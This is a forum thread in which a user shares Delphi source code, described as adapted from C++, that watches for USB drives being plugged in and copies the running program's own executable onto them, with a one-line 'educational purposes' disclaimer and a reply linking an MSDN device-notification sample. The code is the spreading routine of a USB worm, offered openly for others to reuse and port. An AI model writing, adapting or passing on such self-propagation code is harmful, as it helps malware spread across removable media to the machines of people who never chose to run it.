Author Topic: [DELPHI] Copy itself to USB drives  (Read 14074 times)

0 Members and 1 Guest are viewing this topic.

Offline EmilKXZ

  • Peasant
  • *
  • Posts: 109
  • Cookies: 10
  • likes monies :p
    • View Profile
    • EmilKXZ
[DELPHI] Copy itself to USB drives
« on: February 07, 2013, 01:26:52 am »
Hello to all,

I figured I'd share to all Delphi'ers around here... this piece of code I adapted from looking around. I found the C++ procedure to accomplish this, and I got the idea. Then I adapted/translated to Delphi. It is not perfect, it has bugs... I placed the method in a thread so it won't lock up the main thread... still does hang it up...  :o

Enjoy, and use it only for educational purposes.

Code: [Select]
unit Unit1;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;

type
  TForm1 = class(TForm)
  private
    procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
  public
    { Public declarations }
  end;
type
  TCopyItself = class(TThread)
    Msg: TMessage;
    procedure Execute; override;
  end;

var
  Form1: TForm1;

const
  DBT_DEVICEARRIVAL          =  $00008000;
  DBT_DEVICEREMOVECOMPLETE   =  $00008004;
  DBT_DEVTYP_VOLUME          =  $00000002;

// Device structs
type
  _DEV_BROADCAST_HDR         =  packed record
     dbch_size:              DWORD;
     dbch_devicetype:        DWORD;
     dbch_reserved:          DWORD;
  end;
  DEV_BROADCAST_HDR          =  _DEV_BROADCAST_HDR;
  TDevBroadcastHeader        =  DEV_BROADCAST_HDR;
  PDevBroadcastHeader        =  ^TDevBroadcastHeader;

type
  _DEV_BROADCAST_VOLUME      =  packed record
     dbch_size:              DWORD;
     dbch_devicetype:        DWORD;
     dbch_reserved:          DWORD;
     dbcv_unitmask:          DWORD;
     dbcv_flags:             WORD;
  end;
  DEV_BROADCAST_VOLUME       =  _DEV_BROADCAST_VOLUME;
  TDevBroadcastVolume        =  DEV_BROADCAST_VOLUME;
  PDevBroadcastVolume        =  ^TDevBroadcastVolume;

implementation

{$R *.dfm}

{ TForm1 }

procedure TForm1.WMDeviceChange(var Msg: TMessage);
var
  CopyItself1: TCopyItself;
begin
  inherited;
    CopyItself1 := TCopyItself.Create(True);
    CopyItself1.Msg := Msg;
    CopyItself1.FreeOnTerminate:=True;
    CopyItself1.Suspended:=False;
    CopyItself1.Execute;
end;

{ TCopyItself }

procedure TCopyItself.Execute;
const
  DBT_DEVICEARRIVAL = $8000; // system detected a new device
  DBT_DEVTYP_VOLUME = $0002;
  DBT_DEVICEREMOVECOMPLETE = $8004;  // device is gone
var
  I: Integer;
  DriveLetter: char;
  lpdbhHeader:   PDevBroadcastHeader;
begin
  inherited;
  lpdbhHeader:=PDevBroadcastHeader(Msg.lParam);
  case Msg.wParam of
    DBT_DEVICEARRIVAL: // or DBT_DEVICEREMOVECOMPLETE:
    begin
    Sleep(3500);
      for I := 69 to 90 do begin // to 90
        DriveLetter:=Chr(i);
        if (lpdbhHeader^.dbch_devicetype = DBT_DEVTYP_VOLUME) then begin
        CopyFile(PChar(ParamStr(0)), PChar(DriveLetter+':\'+ExtractFileName(Application.ExeName)), true);
        end;
      end;
    end;
  end;
end;

end.

xC

  • Guest
Re: [DELPHI] Copy itself to USB drives
« Reply #1 on: April 22, 2013, 10:28:03 pm »
Thanks for the share.. will have to port this. For those to lazy to port it to C here is an example of the same method on MSDN without the file being copied.

http://msdn.microsoft.com/en-us/library/windows/desktop/aa363215(v=vs.85).aspx
« Last Edit: April 22, 2013, 10:28:56 pm by xC »